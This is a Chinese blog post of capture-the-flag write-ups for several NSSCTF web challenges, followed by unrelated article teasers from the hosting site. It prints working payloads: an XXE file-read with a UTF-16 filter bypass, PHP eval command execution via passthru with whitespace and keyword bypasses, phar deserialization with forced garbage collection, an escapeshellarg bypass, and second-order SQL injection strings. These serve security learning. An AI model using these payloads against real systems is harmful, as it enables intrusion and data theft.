NSSCTF第12页(2)

[CSAWQual 2019]Unagi

是xxe注入,等找时间会专门去学一下

   XML外部实体(XXE)注入 - 知乎

【精选】XML注入学习-CSDN博客

【精选】XML注入_xml注入例子-CSDN博客

题目描述说flag在/flag下

发现有上传点,上传一句话木马试试

文件类型不行

看见提示说在链接处得到上传例子

You can check out the format example here

发现是xml文件格式

看到这里就有了整体的思路,就是要用xxe注入,上传xml格式文件

通用模板

 <?xml version="1.0"?>

<!DOCTYPE  ANY [ <!ENTITY entityex SYSTEM "file:///"etc/password"> ]>

下边接题中所给的user

因为给了flag文件的路径,所以直接用/flag

payload:

<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
    <user>
        <username>bob</username>
        <password>passwd2</password>
        <name> Bob</name>
        <email>bob@fakesite.com</email>  
        <group>CSAW2019</group>
        <intro>&xxe;</intro>
    </user>
</users>

发现还是没绕过防火墙

看wp才知道要用utf-16编码

kali 命令-编码转换

iconv -f utf8 -t utf16 1.xml>2.xml

上传得到flag

[FSCTF 2023]EZ_eval 

rce,正则限制了好多

cp 命令详解_cp命令-CSDN博客

以为cp可以利用,但是发现不行

题目是eval,利用eval函数执行php代码

关键就是过滤了?号和空格还有eval执行时用了php的结束标志表示php代码到此为止了

可以用php短标签,有三种方式:

    ​<? echo '123';?> #前提是开启配置参数short_open_tags=on​​

    ​<script language="php">echo 'hello'; #不需要修改参数开关,但是只能在7.0以下可用。​​

    ​<% echo '123';%> #开启配置参数asp_tags=on,并且只能在7.0以下版本使用​​

这里利用到了一个没学过的函数passsthru()

PHP系统程序执行函数(system,passthru,exec)简单分析(附代码)-php教程-PHP中文网

php system执行shell,php命令执行函数–shell_exec()、passthru()、exec()、system()与防止命令执行漏洞函数..._周行文的博客-CSDN博客 

passthru

— 执行外部程序并且显示原始输出

void passthru ( string $command [, int &$return_var ] )

范例

<?php
        passthru("ls");
?>

执行结果:

index.phptest.php

payload :

 /?word=​<script%09language="php">passthru("ta\c%09/f*");

用%09绕过空格,其它的我都试了一遍,没绕过

用\绕过tac的限制

*通配符绕过flag的关键字

得到flag

prize_p1

代码审计一下

 首先有getflag类,内容就是输出$FLAG,触发条件为__destruct;然后就是A类的文件写入和读取。最后就是对GET[0]的关键字判断,通过后反序列化GET[0]。

prize1 | bilala's blog  参考wp

 思路:

因为正则过滤了flag,所以无法直接触发getflag类;转眼去看A类,既然有任意内容写入+任意文件读取+类,优先考虑phar反序列化

那我们就先利用A类的写文件功能写入一个phar文件,其中phar文件的metadata部分设置为getflag类,其中phar文件的metadata部分设置为getflag类,这样phar://读取之后,其中的metadata部分的数据就被反序列化,getflag就生成了,再最后程序结束触发__destruct获取flag 

绕过preg_match,可以采用数组绕过的方法

这道题主要有两个考点————————>Phar反序列化 和强制GC销毁类

浅谈php GC(垃圾回收)机制及其与CTF的一点缘分 - 码农教程 

从一道题再看phar的利用-安全客 - 安全资讯平台 

关键绕过:

throw Error使得我们的类没有被销毁,所以如何触发__destruct方法成为了一个问题 

在写入文件时,我们需要带入的getflag类中还是包含了flag这个关键字,还是会被拦住。所以我们还需要想办法绕过这个关键字,同时还得保证phar://读取时仍可以反序列化其中的数据

强制GC触发__destruct

在PHP中,正常触发析构函数(__destruct)有三种方法:

①程序正常结束

②主动调用unset($aa)

③将原先指向类的变量取消对类的引用,即$aa = 其他值;

前两种很好理解,我们来讲讲第三种

PHP中的垃圾回收Garbage collection机制,利用引用计数和回收周期自动管理内存对象。当一个对象没有被引用时,PHP就会将其视为“垃圾”,这个”垃圾“会被回收,回收过程中就会触发析构函数

class bilala{

    public function __construct($count){

        $this->count = $count;

    }

    public function __destruct(){

        echo $this->count."destruct触发";

    }

}

$aa = new bilala(1);

//这里的bilala对象就不是垃圾,因为他被$aa所引用

new bilala(2);

//这里的就是垃圾(也就是匿名对象),new出来后没被引用,就会被当作垃圾回收(所以触发析构)

echo PHP_EOL."**********************************".PHP_EOL;

$aa = new bilala(3);

//这里将$aa指向了另一个对象的引用,所以原先的对象触发析构

echo PHP_EOL."**********************************".PHP_EOL;

//程序结束,触发析构

所以在这道题中,我们可以利用取消原本对getflag的引用,从而触发他的析构函数。 

操作如下,在phar的metadata中写入的内容为a:2:{i:0;O:7:"getflag":0:{}i:0;N;}

这样的话,当phar://反序列化其中的数据时(反序列化时是按顺序执行的),先反出a[0]的数据,也就是a[0]=getflag类,再接着反序列化时,又将a[0]设为了NULL,那就和上述所说的一致了,getflag类被取消了引用,所以会触发他的析构函数,从而获得flag

参考wp写的很详细,就不一一赘述了,PHP反序列化需要很深的功底才能学的好

010editor中修改,将对应的位由1改成0,然后保存 

 phar文件是修改成功了,但这个时候这个phar是处于损坏状态的,因为我们修改了前面的数据导致后面的签名对不上。这个时候,我们还需要手动计算出这个新phar文件的签名,查看PHP手册找到phar的签名格式

 我们刚刚的phar的签名标志位为0x0002,为SHA1签名,所以我们要计算的是出的字节是[-28:-8],用脚本计算我们新的phar文件的签名,并重新写入文件(也可以导出为新文件)

可以对phar.phar文件做以上这些处理,使其成为乱码,从而绕过关键字的检测。

gzip

直接在Linux中gzip压缩一下,然后通过POST[0]上传这个文件,再读取flag

脚本执行,得到flag

 [广东强网杯 2021 团队组]love_Pokemon

人傻了

 获得hint.php的条件就是先满足switch这个循环 当满足case为 bulbasaur! 的时候它才会去执行下面这个匹配函数

 

那么这个就是说输入的字符串不包含lv100,但是经过escapeshellarg()处理之后含有lv100

这里就是一个escapeshellarg() 的考点

escapeshellarg 的作用是把字符串转码为可以在 shell 命令里使用的参数。(escapeshellarg 和 escapeshellcmd 相似,主要看是否有引号)

那么这里就可以使用漏洞:escapeshellarg()这个函数在处理超过ASCII码范围的字符的时候会直接过滤掉该字符串

那么我们直接我们可以用%81去绕过,因为%81为不可见字符(当然还有其他的)

paylaod:myfavorite=bulbasaur!&levelup=lv%81100

得到提示:

 

想获得flag那我们就要去找输出口 显然shell_exec()就是我们需要的函数 

 

那么这里有个条件就是 post传入的dream的长度不能超过20字节

那我们直接传入dream=cat /FLAG 肯定是不行的,因为上边存在过滤

把flag(大小写)和空格一些字符都过滤了那么这里的重点就是如何绕过 

读取文件:

使用od命令

od 是一个在Unix和Linux系统上可用的命令行工具,用于以不同的格式显示文件的内容。它的名称代表"octal dump"(八进制转储),因为它最初的目的是以八进制形式显示文件的内容

如何绕过FLAG

这里用到了[]通配的形式,由于黑名单中有A何L这两个字符,因此构造F[B-Z][@-Z]G,这样就能匹配上ASCII表中的@到Z之间的所有字符

最终的payload:myfavorite=mewtwo&dream=od%09/F[B-Z][@-Z]G 

得到八进制

转换成10进制得到flag

 [October 2019]Twice SQL Injection

是sql二次注入

 SQL注入之二次注入_吃花椒地喵酱的博客-CSDN博客

 首先我们尝试注册,登录都使用sql语句

发现没任何卵用

 

发现用admin成功注册进到主页

 

注入 1' or 1=1# 

 

发现回显:

因此我们可以通过注册+登录,来注册恶意的用户名(就是将sql语句当用户名写入数据库中) 

先进行注册

用户名:1' union select database()#

密码:1(下边密码都是这个)

登录发现了数据库名

接着就是用这种方式进行注入

查表

1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'#

 

查列

1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#

 

查字段内容

 1' union select flag from flag#

得到flag

 

 

 

 

 

 

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/149928.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Java绘图-第19章

Java绘图-第19章 1.Java绘图类 1.1Graphics类 Graphics类是用于绘制图形的抽象类&#xff0c;它是java.awt包中的一部分。Graphics类提供了各种方法&#xff0c;可以在图形上绘制各种形状、文本和图像。这些方法包括画线、画矩形、画椭圆、画弧、绘制图像等。 1.2Graphics2…

从0到0.01入门 Webpack| 001.精选 Webpack面试题

&#x1f90d; 前端开发工程师&#xff08;主业&#xff09;、技术博主&#xff08;副业&#xff09;、已过CET6 &#x1f368; 阿珊和她的猫_CSDN个人主页 &#x1f560; 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 &#x1f35a; 蓝桥云课签约作者、已在蓝桥云…

算法--搜索与图

这里写目录标题 主要内容DFS思想 BFS思想 DFS与BFS的比较一级目录二级目录二级目录二级目录 一级目录二级目录二级目录二级目录 一级目录二级目录二级目录二级目录 主要内容 DFS 思想 会优先向深处搜索 一旦到达最深处 那么会回溯 但是在回溯的过程中 会边回溯边观察是否有能继…

2023年 华为杯数学建模 E题

本科大三的时候&#xff0c;打过一次美赛&#xff0c;当时租了一个民宿&#xff0c;和队友一起度过了专注的四天。当时比赛结束之后&#xff0c;拿着手机&#xff0c;看到四天没回的消息&#xff0c;四天没刷过的朋友圈&#xff0c;有种很新奇的感觉&#xff0c;谢谢美赛给了我…

Valgrind——程序分析工具

目录 Valgrind一.摘要二.安装Valgrind三,简单上手和分析程序1(C程序):使用未初始化的内存程序2(C程序):在内存被释放后进行读/写程序3(C程序): 内存泄露程序4(C程序): 不匹配使用malloc free 和 new delete程序5(C程序): 两次释放内存 四.Qt中使用Valgrind五.内存泄露分析 Valg…

KTV如何创新?VR全景打造KTV趣味互动新体验

我们都知道传统的平面静态图都是可以进行滤镜美化的&#xff0c;因此大部分用户无法在手机上分辨出商家发布的信息是否真实。由此就造成很多人在网上订购了KTV包间&#xff0c;实地一看却是小破旧&#xff0c;大呼上当了&#xff0c;那么VR全景KTV的应用展示方式&#xff0c;又…

C嘎嘎模板

> 作者简介&#xff1a;დ旧言~&#xff0c;目前大二&#xff0c;现在学习Java&#xff0c;c&#xff0c;c&#xff0c;Python等 > 座右铭&#xff1a;松树千年终是朽&#xff0c;槿花一日自为荣。 > 目标&#xff1a;了解什么是模板&#xff0c;并且能熟练运用函数模…

拦截器与过滤器的区别

优质博文&#xff1a;IT-BLOG-CN 拦截器Interceptor和过滤器Filter都是基于AOP&#xff08;Aspect Oriented Programming&#xff0c;面向切面编程&#xff09;思想实现的&#xff0c;用来解决项目中某一类问题的两种“工具”&#xff0c;两者在使用上有时候可能会分不清&…

【MySQL】表的增删改查(基础)

一、新增&#xff08;Create&#xff09; 先创建一张表&#xff1a; create table student (id int,sn int comment 学号,name varchar(20),email varchar(20));1.1 单行数据 全列插入 插入两条记录&#xff0c;value_list 数量必须和定义表的列的数量及顺序一致 insert i…

4、智能家居框架设计和代码文件工程建立

目录 一、智能家居项目框架 二、智能家居工厂模式示意 三、代码文件工程建立 SourceInsight创建新工程步骤 一、智能家居项目框架 二、智能家居工厂模式示意 三、代码文件工程建立 创建一个名为si的文件夹用于保存SourceInsight生成的文件信息&#xff0c;然后在SourceInsig…

【软考篇】中级软件设计师 第四部分(一)

中级软件设计师 第四部分&#xff08;一&#xff09; 二十九. 程序设计语言概述29.1 解释、编译29.3 编译程序29.4 后缀式29.5 文法定义29.6 正规式29.7 有限自动机29.8 语法分析方法 三十. 法律法规30.1 作品所属权30.2 商标有效期30.3 职务作品所属权30.4 单位与委托30.5 商标…

Redis:详解5大数据类型及其常用命令

目录 Redis键&#xff08;key&#xff09;字符串&#xff08;String&#xff09;简介常用命令数据结构简介常用命令 列表&#xff08;List&#xff09;简介常用命令数据结构 集合&#xff08;Set&#xff09;简介常用命令数据结构 哈希&#xff08;Hash&#xff09;简介常用命令…

基于安卓android微信小程序的装修家装小程序

项目介绍 巧匠家装小程序的设计主要是对系统所要实现的功能进行详细考虑&#xff0c;确定所要实现的功能后进行界面的设计&#xff0c;在这中间还要考虑如何可以更好的将功能及页面进行很好的结合&#xff0c;方便用户可以很容易明了的找到自己所需要的信息&#xff0c;还有系…

SOLIDWORKS Flow Simulation阀门内流体仿真

Flow Simulation 导读 阀门作为输送系统中的控制设备其主要功能是接通管路中的流体介质,又或是调节流体的流量、压力等&#xff0c;在阀门的设计中&#xff0c;流量系数Cv,Kv&#xff0c;以及流阻系数都是基本参数&#xff0c;本节将讲解通过SOLIDWORKS Flow Simulation在三维…

lxml基本使用

lxml是python的一个解析库&#xff0c;支持HTML和XML的解析&#xff0c;支持XPath解析方式&#xff0c;而且解析效率非常高 XPath&#xff0c;全称XML Path Language&#xff0c;即XML路径语言&#xff0c;它是一门在XML文档中查找信息的语言&#xff0c;它最初是用来搜寻XML文…

Netty实战专栏 | NIO详解

✅作者简介&#xff1a;大家好&#xff0c;我是Leo&#xff0c;热爱Java后端开发者&#xff0c;一个想要与大家共同进步的男人&#x1f609;&#x1f609; &#x1f34e;个人主页&#xff1a;Leo的博客 &#x1f49e;当前专栏&#xff1a; Netty实战专栏 ✨特色专栏&#xff1a…

C语言之深入指针(二)(详细教程)

C语言之深入指针 文章目录 C语言之深入指针1. 传值调用和传址调用2. 数组名的理解3. 使用指针访问数组3. ⼀维数组传参的本质 1. 传值调用和传址调用 写一个函数用来交换a b的值 传值调用&#xff1a; #include <stdio.h> void Swap1(int x, int y) {int tmp 0;tmp x;…

第十八章 Swing程序设计

Swing用于开发桌面窗体程序&#xff0c;是JDK的第二代GUI框架&#xff0c;其功能比JDK第一代GUI框架AWT更为强大、性能更加优良。但因为Swing技术推出时间太早&#xff0c;其性能、开发效率等不及一些其他流行技术&#xff0c;所以目前市场上大多数桌面窗体程序都不是由Java开发…

rabbitmq 集群搭建

RabbitMQ集群介绍 RabbitMQ集群是一组RabbitMQ节点&#xff08;broker&#xff09;的集合&#xff0c;它们一起工作以提供高可用性和可伸缩性服务。 RabbitMQ集群中的节点可以在同一物理服务器或不同的物理服务器上运行。 RabbitMQ集群的工作原理是&#xff0c;每个节点在一个…